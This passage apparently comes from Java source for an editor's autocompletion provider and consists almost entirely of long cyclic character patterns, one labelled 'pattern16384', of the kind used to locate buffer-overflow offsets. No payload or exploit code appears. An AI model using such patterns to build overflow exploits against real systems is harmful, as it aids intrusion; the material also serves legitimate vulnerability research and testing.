YA)wA)ZA)xA)yA)zAE%AEsAEBAE$AEnAECAE-AE(AEDAE;AE)AEEAEaAE0AEFAEbAE1AEGAEcAE2AEHAEdAE3AEIAEeAE4AEJAEfAE5AEKAEgAE6AELAEhAE7AEMAEiAE8AENAEjAE9AEOAEkAEPAElAEQAEmAERAEoAESAEpAETAEqAEUAErAEVAEtAEWAEuAEXAEvAEYAEwAEZAExAEyAEzAa%AasAaBAa$AanAaCAa-Aa(AaDAa;Aa)AaEAaaAa0AaFAabAa1AaGAacAa2AaHAadAa3AaIAaeAa4AaJAafAa5AaKAagAa6AaLAahAa7AaMAaiAa8AaNAajAa9AaOAakAaPAalAaQAamAaRAaoAaSAapAaTAaqAaUAarAaVAatAaWAauAaXAavAaYAawAaZAaxAayAazA0%A0sA0BA0$A0nA0CA0-A0(A0DA0;A0)A0EA0aA00A0FA0bA01A0GA0cA02A0HA0dA03A0IA0eA04A0JA0fA05A0KA0gA06A0LA0hA07A0MA0iA08A0NA0jA09A0OA0kA0PA0lA0QA0mA0RA0oA0SA0pA0TA0qA0UA0rA0VA0tA0WA0uA0XA0vA0YA0wA0ZA0xA0yA0zAF%AFsAFBAF$AFnAFCAF-AF(AFDAF;AF)AFEAFaAF0AFFAFbAF1AFGAFcAF2AFHAFdAF3AFIAFeAF4AFJAFfAF5AFKAFgAF6AFLAFhAF7AFMAFiAF8AFNAFjAF9AFOAFkAFPAFlAFQAFmAFRAFoAFSAFpAFTAFqAFUAFrAFVAFtAFWAFuAFXAFvAFYAFwAFZAFxAFyAFzAb%AbsAbBAb$AbnAbCAb-Ab(AbDAb;Ab)AbEAbaAb0AbFAbbAb1AbGAbcAb2AbHAbdAb3AbIAbeAb4AbJAbfAb5AbKAbgAb6AbLAbhAb7AbMAbiAb8AbNAbjAb9AbOAbkAbPAblAbQAbmAbRAboAbSAbpAbTAbqAbUAbrAbVAbtAbWAbuAbXAbvAbYAbwAbZAbxAbyAbzA1%A1sA1BA1$A1nA1CA1-A1(A1DA1;A1)A1EA1aA10A1FA1bA11A1GA1cA12A1HA1dA13A1IA1eA14A1JA1fA15A1KA1gA16A1LA1hA17A1MA1iA18A1NA1jA19A1OA1kA1PA1lA1QA1mA1RA1oA1SA1pA1TA1qA1UA1rA1VA1tA1WA1uA1XA1vA1YA1wA1ZA1xA1yA1zAG%AGsAGBAG$AGnAGCAG-AG(AGDAG;AG)AGEAGaAG0AGFAGbAG1AGGAGcAG2AGHAGdAG3AGIAGeAG4AGJAGfAG5AGKAGgAG6AGLAGhAG7AGMAGiAG8AGNAGjAG9AGOAGkAGPAGlAGQAGmAGRAGoAGSAGpAGTAGqAGUAGrAGVAGtAGWAGuAGXAGvAGYAGwAGZAGxAGyAGzAc%AcsAcBAc$AcnAcCAc-Ac(AcDAc;Ac)AcEAcaAc0AcFAcbAc1AcGAccAc2AcHAcdAc3AcIAceAc4AcJAcfAc5AcKAcgAc6AcLAchAc7AcMAciAc8AcNAcjAc9AcOAckAcPAclAcQAcmAcRAcoAcSAcpAcTAcqAcUAcrAcVActAcWAcuAcXAcvAcYAcwAcZAcxAcyAczA2%A2sA2BA2$A2nA2CA2-A2(A2DA2;A2)A2EA2aA20A2FA2bA21A2GA2cA22A2HA2dA23A2IA2eA24A2JA2fA25A2KA2gA26A2LA2hA27A2MA2iA28A2NA2jA29A2OA2kA2PA2lA2QA2mA2RA2oA2SA2pA2TA2qA2UA2rA2VA2tA2WA2uA2XA2vA2YA2wA2ZA2xA2yA2zAH%AHsAHBAH$AHnAHCAH-AH(AHDAH;AH)AHEAHaAH0AHFAHbAH1AHGAHcAH2AHHAHdAH3AHIAHeAH4AHJAHfAH5AHKAHgAH6AHLAHhAH7AHMAHiAH8AHNAHjAH9AHOAHkAHPAHlAHQAHmAHRAHoAHSAHpAHTAHqAHUAHrAHVAHtAHWAHuAHXAHvAHYAHwAHZAHxAHyAHzAd%AdsAdBAd$AdnAdCAd-Ad(AdDAd;Ad)AdEAdaAd0AdFAdbAd1AdGAdcAd2AdHAddAd3AdIAdeAd4AdJAdfAd5AdKAdgAd6AdLAdhAd7AdMAdiAd8AdNAdjAd9AdOAdkAdPAdlAdQAdmAdRAdoAdSAdpAdTAdqAdUAdrAdVAdtAdWAduAdXAdvAdYAdwAdZAdxAdyAdzA3%A3sA3BA3$A3nA3CA3-A3(A3DA3;A3)A3EA3aA30A3FA3bA31A3GA3cA32A3HA3dA33A3IA3eA34A3JA3fA35A3KA3gA36A3LA3hA37A3MA3iA38A3NA3jA39A3OA3kA3PA3lA3QA3mA3RA3oA3SA3pA3TA3qA3UA3rA3VA3tA3WA3uA3XA3vA3YA3wA3ZA3xA3yA3zAI%AIsAIBAI$AInAICAI-AI(AIDAI;AI)AIEAIaAI0AIFAIbAI1AIGAIcAI2AIHAIdAI3AIIAIeAI4AIJAIfAI5AIKAIgAI6AILAIhAI7AIMAIiAI8AINAIjAI9AIOAIkAIPAIlAIQAImAIRAIoAISAIpAITAIqAIUAIrAIVAItAIWAIuAIXAIvAIYAIwAIZAIxAIyAIzAe%AesAeBAe$AenAeCAe-Ae(AeDAe;Ae)AeEAeaAe0AeFAebAe1AeGAecAe2AeHAedAe3AeIAeeAe4AeJAefAe5AeKAegAe6AeLAehAe7AeMAeiAe8AeNAejAe9AeOAekAePAelAeQAemAeRAeoAeSAepAeTAeqAeUAerAeVAetAeWAeuAeXAevAeYAewAeZAexAeyAezA4%A4sA4BA4$A4nA4CA4-A4(A4DA4;A4)A4EA4aA40A4FA4bA41A4GA4cA42A4HA4dA43A4IA4eA44A4JA4fA45A4KA4gA46A4LA4hA47A4MA4iA48A4NA4jA49A4OA4kA4PA4lA4QA4mA4RA4oA4SA4pA4TA4qA4UA4rA4VA4tA4WA4uA4XA4vA4YA4wA4ZA4xA4yA4zAJ%AJsAJBAJ$AJnAJCAJ-AJ(AJDAJ;AJ)AJEAJaAJ0AJFAJbAJ1AJGAJcAJ2AJHAJdAJ3AJIAJeAJ4AJJAJfAJ5AJKAJgAJ6AJLAJhAJ7AJMAJiAJ8AJNAJjAJ9AJOAJkAJPAJlAJQAJmAJRAJoAJSAJpAJTAJqAJUAJrAJVAJtAJWAJuAJXAJvAJYAJwAJZAJxAJyAJzAf%AfsAfBAf$AfnAfCAf-Af(AfDAf;Af)AfEAfaAf0AfFAfbAf1AfGAfcAf2AfHAfdAf3AfIAfeAf4AfJAffAf5AfKAfgAf6AfLAfhAf7AfMAfiAf8AfNAfjAf9AfOAfkAfPAflAfQAfmAfRAfoAfSAfpAfTAfqAfUAfrAfVAftAfWAfuAfXAfvAfYAfwAfZAfxAfyAfzA5%A5sA5BA5$A5nA5CA5-A5(A5DA5;A5)A5EA5aA50A5FA5bA51A5GA5cA52A5HA5dA53A5IA5eA54A5JA5fA55A5KA5gA56A5LA5hA57A5MA5iA58A5NA5jA59A5OA5kA5PA5lA5QA5mA5RA5oA5SA5pA5TA5qA5UA5rA5VA5tA5WA5uA5XA5vA5YA5wA5ZA5xA5yA5zAK%AKsAKBAK$AKnAKCAK-AK(AKDAK;AK)AKEAKaAK0AKFAKbAK1AKGAKcAK2AKHAKdAK3AKIAKeAK4AKJAKfAK5AKKAKgAK6AKLAKhAK7AKMAKiAK8AKNAKjAK9AKOAKkAKPAKlAKQAKmAKRAKoAKSAKpAKTAKqAKUAKrAKVAKtAKWAKuAKXAKvAKYAKwAKZAKxAKyAKzAg%AgsAgBAg$AgnAgCAg-Ag(AgDAg;Ag)AgEAgaAg0AgFAgbAg1AgGAgcAg2AgHAgdAg3AgIAgeAg4AgJAgfAg5AgKAggAg6AgLAghAg7AgMAgiAg8AgNAgjAg9AgOAgkAgPAglAgQAgmAgRAgoAgSAgpAgTAgqAgUAgrAgVAgtAgWAguAgXAgvAgYAgwAgZAgxAgyAgzA6%A6sA6BA6$A6nA6CA6-A6(A6DA6;A6)A6EA6aA60A6FA6bA61A6GA6cA62A6HA6dA63A6IA6eA64A6JA6fA65A6KA6gA66A6LA6hA67A6MA6iA68A6NA6jA69A6OA6kA6PA6lA6QA6mA6RA6oA6SA6pA6TA6qA6UA6rA6VA6tA6WA6uA6XA6vA6YA6wA6ZA6xA6yA6zAL%ALsALBAL$ALnALCAL-AL(ALDAL;AL)ALEALaAL0ALFALbAL1ALGALcAL2ALHALdAL3ALIALeAL4ALJALfAL5ALKALgAL6ALLALhAL7ALMALiAL8ALNALjAL9ALOALkALPALlALQALmALRALoALSALpALTALqALUALrALVALtALWALuALXALvALYALwALZALxALyALzAh%AhsAhBAh$AhnAhCAh-Ah(AhDAh;Ah)AhEAhaAh0AhFAhbAh1AhGAhcAh2AhHAhdAh3AhIAheAh4AhJAhfAh5AhKAhgAh6AhLAhhAh7AhMAhiAh8AhNAhjAh9AhOAhkAhPAhlAhQAhmAhRAhoAhSAhpAhTAhqAhUAhrAhVAhtAhWAhuAhXAhvAhYAhwAhZAhxAhyAhzA7%A7sA7BA7$A7nA7CA7-A7(A7DA7;A7)A7EA7aA70A7FA7bA71A7GA7cA72A7HA7dA73A7IA7eA74A7JA7fA75A7KA7gA76A7LA7hA77A7MA7iA78A7NA7jA79A7OA7kA7PA7lA7QA7mA7RA7oA7SA7pA7TA7qA7UA7rA7VA7tA7WA7uA7XA7vA7YA7wA7ZA7xA7yA7zAM%AMsAMBAM$AMnAMCAM-AM(AMDAM;AM)AMEAMaAM0AMFAMbAM1AMGAMcAM2AMHAMdAM3AMIAMeAM4AMJAMfAM5AMKAMgAM6AMLAMhAM7AMMAMiAM8AMNAMjAM9AMOAMkAMPAMlAMQAMmAMRAMoAMSAMpAMTAMqAMUAMrAMVAMtAMWAMuAMXAMvAMYAMwAMZAMxAMyAMzAi%AisAiBAi$AinAiCAi-Ai(AiDAi;Ai)AiEAiaAi0AiFAibAi1AiGAicAi2AiHAidAi3AiIAieAi4AiJAifAi5AiKAigAi6AiLAihAi7AiMAiiAi8AiNAijAi9AiOAikAiPAilAiQAimAiRAioAiSAipAiTAiqAiUAirAiVAitAiWAiuAiXAivAiYAiwAiZAixAiyAizA8%A8sA8BA8$A8nA8CA8-A8(A8DA8;A8)A8EA8aA80A8FA8bA81A8GA8cA82A8HA8dA83A8IA8eA84A8JA8fA85A8KA8gA86A8LA8hA87A8MA8iA88A8NA8jA89A8OA8kA8PA8lA8QA8mA8RA8oA8SA8pA8TA8qA8UA8rA8VA8tA8WA8uA8XA8vA8YA8wA8ZA8xA8yA8zAN%ANsANBAN$ANnANCAN-AN(ANDAN;AN)ANEANaAN0ANFANbAN1ANGANcAN2ANHANdAN3ANIANeAN4ANJANfAN5ANKANgAN6ANLANhAN7ANMANiAN8ANNANjAN9ANOANkANPANlANQANmANRANoANSANpANTANqANUANrANVANtANWANuANXANvANYANwANZANxANyANzAj%AjsAjBAj$AjnAjCAj-Aj(AjDAj;Aj)AjEAjaAj0AjFAjbAj1AjGAjcAj2AjHAjdAj3AjIAjeAj4AjJAjfAj5AjKAjgAj6AjLAjhAj7AjMAjiAj8AjNAjjAj9AjOAjkAjPAjlAjQAjmAjRAjoAjSAjpAj\"\n\r"));
        provider.addCompletion(new BasicCompletion(provider, "pattern16384 = \"AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%lA%QA%mA%RA%oA%SA%pA%TA%qA%UA%rA%VA%tA%WA%uA%XA%vA%YA%wA%ZA%xA%yA%zAs%AssAsBAs$AsnAsCAs-As(AsDAs;As)AsEAsaAs0AsFAsbAs1AsGAscAs2AsHAsdAs3AsIAseAs4AsJAsfAs5AsKAsgAs6AsLAshAs7AsMAsiAs8AsNAsjAs9AsOAskAsPAslAsQAsmAsRAsoAsSAspAsTAsqAsUAsrAsVAstAsWAsuAsXAsvAsYAswAsZAsxAsyAszAB%ABsABBAB$ABnABCAB-AB(ABDAB;AB)ABEABaAB0ABFABbAB1ABGABcAB2ABHABdAB3ABIABeAB4ABJABfAB5ABKABgAB6ABLABhAB7ABMABiAB8ABNABjAB9ABOABkABPABlABQABmABRABoABSABpABTABqABUABrABVABtABWABuABXABvABYABwABZABxAByABzA$%A$sA$BA$$A$nA$CA$-A$(A$DA$;A$)A$EA$aA$0A$FA$bA$1A$GA$cA$2A$HA$dA$3A$IA$eA$4A$JA$fA$5A$KA$gA$6A$LA$hA$7A$MA$iA$8A$NA$jA$9A$OA$kA$PA$lA$QA$mA$RA$oA$SA$pA$TA$qA$UA$rA$VA$tA$WA$uA$XA$vA$YA$wA$ZA$xA$yA$zAn%AnsAnBAn$AnnAnCAn-An(AnDAn;An)AnEAnaAn0AnFAnbAn1AnGAncAn2AnHAndAn3AnIAneAn4AnJAnfAn5AnKAngAn6AnLAnhAn7AnMAniAn8AnNAnjAn9AnOAnkAnPAnlAnQAnmAnRAnoAnSAnpAnTAnqAnUAnrAnVAntAnWAnuAnXAnvAnYAnwAnZAnxAnyAnzAC%ACsACBAC$ACnACCAC-AC(ACDAC;AC)ACEACaAC0ACFACbAC1ACGACcAC2ACHACdAC3ACIACeAC4ACJACfAC5ACKACgAC6ACLAChAC7ACMACiAC8ACNACjAC9ACOACkACPAClACQACmACRACoACSACpACTACqACUACrACVACtACWACuACXACvACYACwACZACxACyACzA-%A-sA-BA-$A-nA-CA--A-(A-DA-;A-)A-EA-aA-0A-FA-bA-1A-GA-cA-2A-HA-dA-3A-IA-eA-4A-JA-fA-5A-KA-gA-6A-LA-hA-7A-MA-iA-8A-NA-jA-9A-OA-kA-PA-lA-QA-mA-RA-oA-SA-pA-TA-qA-UA-rA-VA-tA-WA-uA-XA-vA-YA-wA-ZA-xA-yA-zA(%A(sA(BA($A(nA(CA(-A((A(DA(;A()A(EA(aA(0A(FA(bA(1A(GA(cA(2A(HA(dA(3A(IA(eA(4A(JA(fA(5A(KA(gA(6A(LA(hA(7A(MA(iA(8A(NA(jA(9A(OA(kA(PA(lA(QA(mA(RA(oA(SA(pA(TA(qA(UA(rA(VA(tA(WA(uA(XA(vA(YA(wA(ZA(xA(yA(zAD%ADsADBAD$ADnADCAD-AD(ADDAD;AD)ADEADaAD0ADFADbAD1ADGADcAD2ADHADdAD3ADIADeAD4ADJADfAD5ADKADgAD6ADLADhAD7ADMADiAD8ADNADjAD9ADOADkADPADlADQADmADRADoADSADpADTADqADUADrADVADtADWADuADXADvADYADwADZADxADyADzA;%A;sA;BA;$A;nA;CA;-A;(A;DA;;A;)A;EA;aA;0A;FA;bA;1A;GA;cA;2A;HA;dA;3A;IA;eA;4A;JA;fA;5A;KA;gA;6A;LA;hA;7A;MA;iA;8A;NA;jA;9A;OA;kA;PA;lA;QA;mA;RA;oA;SA;pA;TA;qA;UA;rA;VA;tA;WA;uA;XA;vA;YA;wA;ZA;xA;yA;zA)%A)sA)BA)$A)nA)CA)-A)(A)DA);A))A)EA)aA)0A)FA)bA)1A)GA)cA)2A)HA)dA)3A)IA)eA)4A)JA)fA)5A)KA)gA)6A)LA)hA)7A)MA)iA)8A)NA)jA)9A)OA)kA)PA)lA)QA)mA)RA)oA)SA)pA)TA)qA)UA)rA)VA)tA)WA)uA)XA)vA)YA)wA)ZA)xA)yA)zAE%AEsAEBAE$AEnAECAE-AE(AEDAE;AE)AEEAEaAE0AEFAEbAE1AEGAEcAE2AEHAEdAE3AEIAEeAE4AEJAEfAE5AEKAEgAE6AELAEhAE7AEMAEiAE8AENAEjAE9AEOAEkAEPAElAEQAEmAERAEoAESAEpAETAEqAEUAErAEVAEtAEWAEuAEXAEvAEYAEwAEZAExAEyAEzAa%AasAaBAa$AanAaCAa-Aa(AaDAa;Aa)AaEAaaAa0AaFAabAa1AaGAacAa2AaHAadAa3AaIAaeAa4AaJAafAa5AaKAagAa6AaLAahAa7AaMAaiAa8AaNAajAa9AaOAakAaPAalAaQAamAaRAaoAaSAapAaTAaqAaUAarAaVAatAaWAauAaXAavAaYAawAaZAaxAayAazA0%A0sA0BA0$A0nA0CA0-A0(A0DA0;A0)A0EA0aA00A0FA0bA01A0GA0cA02A0HA0dA03A0IA0eA04A0JA0fA05A0KA0gA06A0LA0hA07A0MA0iA08A0NA0jA09A0OA0kA0PA0lA0QA0mA0RA0oA0SA0pA0TA0qA0UA0rA0VA0tA0WA0uA0XA0vA0YA0wA0ZA0xA0yA0zAF%AFsAFBAF$AFnAFCAF-AF(AFDAF;AF)AFEAFaAF0AFFAFbAF1AFGAFcAF2AFHAFdAF3AFIAFeAF4AFJAFfAF5AFKAFgAF6AFLAFhAF7AFMAFiAF8AFNAFjAF9AFOAFkAFPAFlAFQAFmAFRAFoAFSAFpAFTAFqAFUAFrAFVAFtAFWAFuAFXAFvAFYAFwAFZAFxAFyAFzAb%AbsAbBAb$AbnAbCAb-Ab(AbDAb;Ab)AbEAbaAb0AbFAbbAb1AbGAbcAb2AbHAbdAb3AbIAbeAb4AbJAbfAb5AbKAbgAb6AbLAbhAb7AbMAbiAb8AbNAbjAb9AbOAbkAbPAblAbQAbmAbRAboAbSAbpAbTAbqAbUAbrAbVAbtAbWAbuAbXAbvAbYAbwAbZAbxAbyAbzA1%A1sA1BA1$A1nA1CA1-A1(A1DA1;A1)A1EA1aA10A1FA1bA11A1GA1cA12A1HA1dA13A1IA1eA14A1JA1fA15A1KA1gA16A1LA1hA17A1MA1iA18A1NA1jA19A1OA1kA1PA1lA1QA1mA1RA1oA1SA1pA1TA1qA1UA1rA1VA1tA1WA1uA1XA1vA1YA1wA1ZA1xA1yA1zAG%AGsAGBAG$AGnAGCAG-AG(AGDAG;AG)AGEAGaAG0AGFAGbAG1AGGAGcAG2AGHAGdAG3AGIAGeAG4AGJAGfAG5AGKAGgAG6AGLAGhAG7AGMAGiAG8AGNAGjAG9AGOAGkAGPAGlAGQAGmAGRAGoAGSAGpAGTAGqAGUAGrAGVAGtAGWAGuAGXAGvAGYAGwAGZAGxAGyAGzAc%AcsAcBAc$AcnAcCAc-Ac(AcDAc;Ac)AcEAcaAc0AcFAcbAc1AcGAccAc2AcHAcdAc3AcIAceAc4AcJAcfAc5AcKAcgAc6AcLAchAc7AcMAciAc8AcNAcjAc9AcOAckAcPAclAcQAcmAcRAcoAcSAcpAcTAcqAcUAcrAcVActAcWAcuAcXAcvAcYAcwAcZAcxAcyAczA2%A2sA2BA2$A2nA2CA2-A2(A2DA2;A2)A2EA2aA20A2FA2bA21A2GA2cA22A2HA2dA23A2IA2eA24A2JA2fA25A2KA2gA26A2LA2hA27A2MA2iA28A2NA2jA29A2OA2kA2PA2lA2QA2mA2RA2oA2SA2pA2TA2qA2UA2rA2VA2tA2WA2uA2XA2vA2YA2wA2ZA2xA2yA2zAH%AHsAHBAH$AHnAHCAH-AH(AHDAH;AH)AHEAHaAH0AHFAHbAH1AHGAHcAH2AHHAHdAH3AHIAHeAH4AHJAHfAH5AHKAHgAH6AHLAHhAH7AHMAHiAH8AHNAHjAH9AHOAHkAHPAHlAHQAHmAHRAHoAHSAHpAHTAHqAHUAHrAHVAHtAHWAHuAHXAHvAHYAHwAHZAHxAHyAHzAd%AdsAdBAd$AdnAdCAd-Ad(AdDAd;Ad)AdEAdaAd0AdFAdbAd1AdGAdcAd2AdHAddAd3AdIAdeAd4AdJAdfAd5AdKAdgAd6AdLAdhAd7AdMAdiAd8AdNAdjAd9AdOAdkAdPAdlAdQAdmAdRAdoAdSAdpAdTAdqAdUAdrAdVAdtAdWAduAdXAdvAdYAdwAdZAdxAdyAdzA3%A3sA3BA3$A3nA3CA3-A3(A3DA3;A3)A3EA3aA30A3FA3bA31A3GA3cA32A3HA3dA33A3IA3eA34A3JA3fA35A3KA3gA36A3LA3hA37A3MA3iA38A3NA3jA39A3OA3kA3PA3lA3QA3mA3RA3oA3SA3pA3TA3qA3UA3rA3VA3tA3WA3uA3XA3vA3YA3wA3ZA3xA3yA3zAI%AIsAIBAI$AInAICAI-AI(AIDAI;AI)AIEAIaAI0AIFAIbAI1AIGAIcAI2AIHAIdAI3AIIAIeAI4AIJAIfAI5AIKAIgAI6AILAIhAI7AIMAIiAI8AINAIjAI9AIOAIkAIPAIlAIQAImAIRAIoAISAIpAITAIqAIUAIrAIVAItAIWAIuAIXAIvAIYAIwAIZAIxAIyAIzAe%AesAeBAe$AenAeCAe-Ae(AeDAe;Ae)AeEAeaAe0AeFAebAe1AeGAecAe2AeHAedAe3AeIAeeAe4AeJAefAe5AeKAegAe6AeLAehAe7AeMAeiAe8AeNAejAe9AeOAekAePAelAeQAemAeRAeoAeSAepAeTAeqAeUAerAeVAetAeWAeuAeXAevAeYAewAeZAexAeyAezA4%A4sA4BA4$A4nA4CA4-A4(A4DA4;A4)A4EA4aA40A4FA4bA41A4GA4cA42A4HA4dA43A4IA4eA44A4JA4fA45A4KA4gA46A4LA4hA47A4MA4iA48A4NA4jA49A4OA4kA4PA4lA4QA4mA4RA4oA4SA4pA4TA4qA4UA4rA4VA4tA4WA4uA4XA4vA4YA4wA4ZA4xA4yA4zAJ%AJsAJBAJ$AJnAJCAJ-AJ(AJDAJ;AJ)AJEAJaAJ0AJFAJbAJ1AJGAJcAJ2AJHAJdAJ3AJIAJeAJ4AJJAJfAJ5AJKAJgAJ6AJLAJhAJ7AJMAJiAJ8AJNAJjAJ9AJOAJkAJPAJlAJQAJmAJRAJoAJSAJpAJTAJqAJUAJrAJVAJtAJWAJuAJXAJvAJYAJwAJZAJxAJyAJzAf%AfsAfBAf$AfnAfCAf-Af(AfDAf;Af)AfEAfaAf0AfFAfbAf1AfGAfcAf2AfHAfdAf3AfIAfeAf4AfJAffAf5AfKAfgAf6AfLAfhAf7AfMAfiAf8AfNAfjAf9AfOAfkAfPAflAfQAfmAfRAfoAfSAfpAfTAfqAfUAfrAfVAftAfWAfuAfXAfvAfYAfwAfZAfxAfyAfzA5%A5sA5BA5$A5nA5CA5-A5(A5DA5;A5)A5EA5aA50A5FA5bA51A5GA5cA52A5HA5dA53A5IA5eA54A5JA5fA55A5KA5gA56A5LA5hA57A5MA5iA58A5NA5jA59A5OA5kA5PA5lA5QA5mA5RA5oA5SA5pA5TA5qA5UA5rA5VA5tA5WA5uA5XA5vA5YA5wA5ZA5xA5yA5zAK%AKsAKBAK$AKnAKCAK-AK(AKDAK;AK)AKEAKaAK0AKFAKbAK1AKGAKcAK2AKHAKdAK3AKIAKeAK4AKJAKfAK5AKKAKgAK6AKLAKhAK7AKMAKiAK8AKNAKjAK9AKOAKkAKPAKlAKQAKmAKRAKoAKSAKpAKTAKqAKUAKrAKVAKtAKWAKuAKXAKvAKYAKwAKZAKxAKyAKzAg%AgsAgBAg$AgnAgCAg-Ag(AgDAg;Ag)AgEAgaAg0AgFAgbAg1AgGAgcAg2AgHAgdAg3AgIAgeAg4AgJAgfAg5AgKAggAg6AgLAghAg7AgMAgiAg8AgNAgjAg9AgOAgkAgPAglAgQAgmAgRAgoAgSAgpAgTAgqAgUAgrAgVAgtAgWAguAgXAgvAgYAgwAgZAgxAgyAgzA6%A6sA6BA6$A6nA6CA6-A6(A6DA6;A6)A6EA6aA60A6FA6bA61A6GA6cA62A6HA6dA63A6IA6eA64A6JA6fA65A6KA6gA66A6LA6hA67A6MA6iA68A6NA6jA69A6OA6kA6PA6lA6QA6mA6RA6oA6SA6pA6TA6qA6UA6rA6VA6tA6WA6uA6XA6vA6YA6wA6ZA6xA6yA6zAL%ALsALBAL$ALnALCAL-AL(ALDAL;AL)ALEALaAL0ALFALbAL1ALGALcAL2ALHALdAL3ALIALeAL4ALJALfAL5ALKALgAL6ALLALhAL7ALMALiAL8ALNALjAL9ALOALkALPALlALQALmALRALoALSALpALTALqALUALrALVALtALWALuALXALvALYALwALZALxALyALzAh%AhsAhBAh$AhnAhCAh-Ah(AhDAh;Ah)AhEAhaAh0AhFAhbAh1AhGAhcAh2AhHAhdAh3AhIAheAh4AhJAhfAh5AhKAhgAh6AhLAhhAh7AhMAhiAh8AhNAhjAh9AhOAhkAhPAhlAhQAhmAhRAhoAhSAhpAhTAhqAhUAhrAhVAhtAhWAhuAhXAhvAhYAhwAhZAhxAhyAhzA7%A7sA7BA7$A7nA7CA7-A7(A7DA7;A7)A7EA7aA70A7FA7bA71A7GA7cA72A7HA7dA73A7IA7eA74A7JA7fA75A7KA7gA76A7LA7hA77A7MA7iA78A7NA7jA79A7OA7kA7PA7lA7QA7mA7RA7oA7SA7pA7TA7qA7UA7rA7VA7tA7WA7uA7XA7vA7YA7wA7ZA7xA7yA7zAM%AMsAMBAM$AMnAMCAM-AM(AMDAM;AM)AMEAMaAM0AMFAMbAM1AMGAMcAM2AMHAMdAM3AMIAMeAM4AMJAMfAM5AMKAMgAM6AMLAMhAM7AMMAMiAM8AMNAMjAM9AMOAMkAMPAMlAMQAMmAMRAMoAMSAMpAMTAMqAMUAMrAMVAMtAMWAMuAMXAMvAMYAMwAMZAMxAMyAMzAi%AisAiBAi$AinAiCAi-Ai(AiDAi;Ai)AiEAiaAi0AiFAibAi1AiGAicAi2AiHAidAi3AiIAieAi4AiJAifAi5AiKAigAi6AiLAihAi7AiMAiiAi8AiNAijAi9AiOAikAiPAilAiQAimAiRAioAiSAipAiTAiqAiUAirAiVAitAiWAiuAiXAivAiYAiwAiZAixAiyAizA8%A8sA8BA8$A8nA8CA8-A8(A8DA8;A8)A8EA8aA80A8FA8bA81A8GA8cA82A8HA8dA83A8IA8eA84A8JA8fA85A8KA8gA86A8LA8hA87A8MA8iA88A8NA8jA89A8OA8kA8PA8lA8QA8mA8RA8oA8SA8pA8TA8qA8UA8rA8VA8tA8WA8uA8XA8vA8YA8wA8ZA8xA8yA8zAN%ANsANBAN$ANnANCAN-AN(ANDAN;AN)ANEANaAN0ANFANbAN1ANGANcAN2ANHANdAN3ANIANeAN4ANJANfAN5ANKANgAN6ANLANhAN7ANMANiAN8ANNANjAN9ANOANkANPANlANQANmANRANoANSANpANTANqANUANrANVANtANWANuANXANvANYANwANZANxANyANzAj%AjsAjBAj$AjnAjCAj-Aj(AjDAj;Aj)AjEAjaAj0AjFAjbAj1AjGAjcAj2AjHAjdAj3AjIAjeAj4AjJAjfAj5AjKAjgAj6AjLAjhAj7AjMAjiAj8AjNAjjAj9AjOAjkAjPAjlAjQAjmAjRAjoAjSAjpAjTAjqAjUAjrAjVAjtAjWAjuAjXAjvAjYAjwAjZAjxAjyAjzA9%A9sA9BA9$A9nA9CA9-A9(A9DA9;A9)A9EA9aA90A9FA9bA91A9GA9cA92A9HA9dA93A9IA9eA94A9JA9fA95A9KA9gA96A9LA9hA97A9MA9iA98A9NA9jA99A9OA9kA9PA9lA9QA9mA9RA9oA9SA9pA9TA9qA9UA9rA9VA9tA9WA9uA9XA9vA9YA9wA9ZA9xA9yA9zAO%AOsAOBAO$AOnAOCAO-AO(AODAO;AO)AOEAOaAO0AOFAObAO1AOGAOcAO2AOHAOdAO3AOIAOeAO4AOJAOfAO5AOKAOgAO6AOLAOhAO7AOMAOiAO8AONAOjAO9AOOAOkAOPAOlAOQAOmAORAOoAOSAOpAOTAOqAOUAOrAOVAOtAOWAOuAOXAOvAOYAOwAOZAOxAOyAOzAk%AksAkBAk$AknAkCAk-Ak(AkDAk;Ak)AkEAkaAk0AkFAkbAk1AkGAkcAk2AkHAkdAk3AkIAkeAk4AkJAkfAk5AkKAkgAk6AkLAkhAk7AkMAkiAk8AkNAkjAk9AkOAkkAkPAklAkQAkmAkRAkoAkSAkpAkTAkqAkUAkrAkVAktAkWAkuAkXAkvAkYAkwAkZAkxAkyAkzAP%APsAPBAP$APnAPCAP-AP(APDAP;AP)APEAPaAP0APFAPbAP1APGAPcAP2APHAPdAP3APIAPeAP4APJAPfAP5APKAPgAP6APLAPhAP7APMAPiAP8APNAPjAP9APOAPkAPPAPlAPQAPmAPRAPoAPSAPpAPTAPqAPUAPrAPVAPtAPWAPuAPXAPvAPYAPwAPZAPxAPyAPzAl%AlsAlBAl$AlnAlCAl-Al(AlDAl;Al)AlEAlaAl0AlFAlbAl1AlGAlcAl2AlHAldAl3AlIAleAl4AlJAlfAl5AlKAlgAl6AlLAlhAl7AlMAliAl8AlNAljAl9AlOAlkAlPAllAlQAlmAlRAloAlSAlpAlTAlqAlUAlrAlVAltAlWAluAlXAlvAlYAlwAlZAlxAlyAlzAQ%AQsAQBAQ$AQnAQCAQ-AQ(AQDAQ;AQ)AQEAQaAQ0AQFAQbAQ1AQGAQcAQ2AQHAQdAQ3AQIAQeAQ4AQJAQfAQ5AQKAQgAQ6AQLAQhAQ7AQMAQiAQ8AQNAQjAQ9AQOAQkAQPAQlAQQAQmAQRAQoAQSAQpAQTAQqAQUAQrAQVAQtAQWAQuAQXAQvAQYAQwAQZAQxAQyAQzAm%AmsAmBAm$AmnAmCAm-Am(AmDAm;Am)AmEAmaAm0AmFAmbAm1AmGAmcAm2AmHAmdAm3AmIAmeAm4AmJAmfAm5AmKAmgAm6AmLAmhAm7AmMAmiAm8AmNAmjAm9AmOAmkAmPAmlAmQAmmAmRAmoAmSAmpAmTAmqAmUAmrAmVAmtAmWAmuAmXAmvAmYAmwAmZAmxAmyAmzAR%ARsARBAR$ARnARCAR-AR(ARDAR;AR)AREARaAR0ARFARbAR1ARGARcAR2ARHARdAR3ARIAReAR4ARJARfAR5ARKARgAR6ARLARhAR7ARMARiAR8ARNARjAR9